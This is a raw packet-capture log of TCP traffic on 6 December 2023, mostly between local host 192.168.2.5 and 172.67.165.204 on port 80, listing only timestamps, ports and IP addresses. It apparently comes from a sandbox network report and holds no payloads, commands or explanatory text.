Dec 6, 2023 14:50:50.915745020 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.915786028 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.915796995 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.915884972 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.915946960 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.915954113 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.916002989 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.916042089 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.916086912 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.916140079 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.916178942 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.916745901 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.916831017 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.916872025 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.916879892 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.916930914 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.916969061 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.916980982 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.917030096 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.917076111 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.917079926 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.917648077 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.917696953 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.917701006 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.917818069 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.917857885 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.917869091 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.917920113 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.917958021 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.917968988 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.918020010 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.918062925 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.918593884 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.918647051 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.918687105 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.918698072 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.918747902 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.918786049 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.918797970 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.918848038 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.918885946 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.918896914 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.919521093 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.919565916 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.919681072 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.919730902 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.919770002 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.919780970 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.919830084 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.919872046 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.919882059 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.919934034 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.919976950 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.920459032 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.920516014 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.920557976 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.920567036 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.920696974 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.920748949 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.920759916 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.920810938 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.920857906 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.920864105 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.921360970 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.921406984 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.921412945 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.921502113 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.921540022 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.921550035 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.921598911 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.921634912 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.921647072 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.921695948 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.921740055 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.922277927 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.922491074 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.922534943 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.922578096 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.922635078 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.922673941 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.922683954 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.922735929 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.922771931 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.922782898 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.922832966 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.922875881 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.923235893 CET	443	49703	23.1.237.91	192.168.2.5
Dec 6, 2023 14:50:50.923468113 CET	49703	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:50:50.968084097 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.968106031 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.968166113 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.968214989 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.968236923 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.968261003 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.968277931 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.968399048 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.968399048 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.987278938 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.987298012 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.987324953 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.987390041 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.988364935 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.988385916 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.988411903 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.988415956 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.988436937 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.988456964 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.988460064 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.988481998 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.988502026 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.988506079 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.988540888 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.988843918 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.988862038 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.988889933 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.988898993 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.988913059 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.988934994 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.988945007 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.988971949 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.988995075 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.989006042 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.989784002 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.989804983 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.989821911 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.989833117 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.989856005 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.989866972 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.989878893 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.989911079 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.989916086 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.989939928 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.989976883 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.990544081 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.990621090 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.990643024 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.990653038 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.990668058 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.990690947 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.990703106 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.990711927 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.990737915 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.990748882 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.991483927 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.991539955 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.991544962 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.991563082 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.991595030 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.991600037 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.991636992 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.991669893 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.991687059 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.991708040 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.991746902 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.997358084 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.997571945 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.997613907 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.997622967 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.997673035 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.997709990 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.997721910 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.997917891 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.997962952 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.997972965 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.998023033 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.998059988 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.998087883 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.998142004 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.998178005 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.998191118 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.998243093 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.998285055 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.998583078 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.998634100 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.998671055 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.998683929 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.998734951 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.998781919 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.998785019 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.998835087 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.998872042 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.998883963 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.999547005 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.999597073 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.999645948 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.999696016 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.999703884 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.999744892 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.999789000 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:50.999793053 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.999841928 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:50.999886990 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.000555038 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.000618935 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.000663996 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.000673056 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.000737906 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.000782013 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.000790119 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.000843048 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.000880003 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.000891924 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.001498938 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.001585007 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.001595974 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.001646042 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.001683950 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.001693964 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.001744032 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.001780987 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.001792908 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.001842022 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.001883030 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.002475977 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.002530098 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.002562046 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.002579927 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.002629995 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.002666950 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.002679110 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.002727032 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.002765894 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.002777100 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.003102064 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.003140926 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.003154039 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.003206968 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.003243923 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.003253937 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.003559113 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.003597975 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.003609896 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.003659010 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.003699064 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.003709078 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.003757954 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.003793001 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.003807068 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.003858089 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.003894091 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.004447937 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.004499912 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.004534960 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.004548073 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.004597902 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.004647017 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.004700899 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.004700899 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.004745960 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.004812956 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.005409002 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.005453110 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.005481005 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.005536079 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.005573034 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.005584955 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.005635023 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.005671978 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.005683899 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.005733967 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.005778074 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.006354094 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.006405115 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.006450891 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.006453037 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.006506920 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.006547928 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.006555080 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.006618023 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.006661892 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.006666899 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.007323980 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.007368088 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.007374048 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.007425070 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.007466078 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.007473946 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.007523060 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.007565975 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.007571936 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.007623911 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.007668972 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.008205891 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.008259058 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.008301973 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.008308887 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.008359909 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.008400917 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.008409023 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.008456945 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.008497000 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.008505106 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.009154081 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.009207010 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.009210110 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.009259939 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.009299994 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.009310961 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.009360075 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.009399891 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.009407043 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.009455919 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.009497881 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.010169983 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.010221958 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.010262012 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.010273933 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.010324001 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.010366917 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.010375977 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.010427952 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.010464907 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.010474920 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.010526896 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.010565042 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.011133909 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.011185884 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.011228085 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.011234045 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.011284113 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.011327982 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.011334896 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.011384010 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.011425972 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.011434078 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.012139082 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.012187004 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.012191057 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.012239933 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.012280941 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.012289047 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.012337923 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.012378931 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.012389898 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.012439013 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.012481928 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.012983084 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.013037920 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.013078928 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.013087988 CET	80	49705	172.67.165.204	192.168.2.5
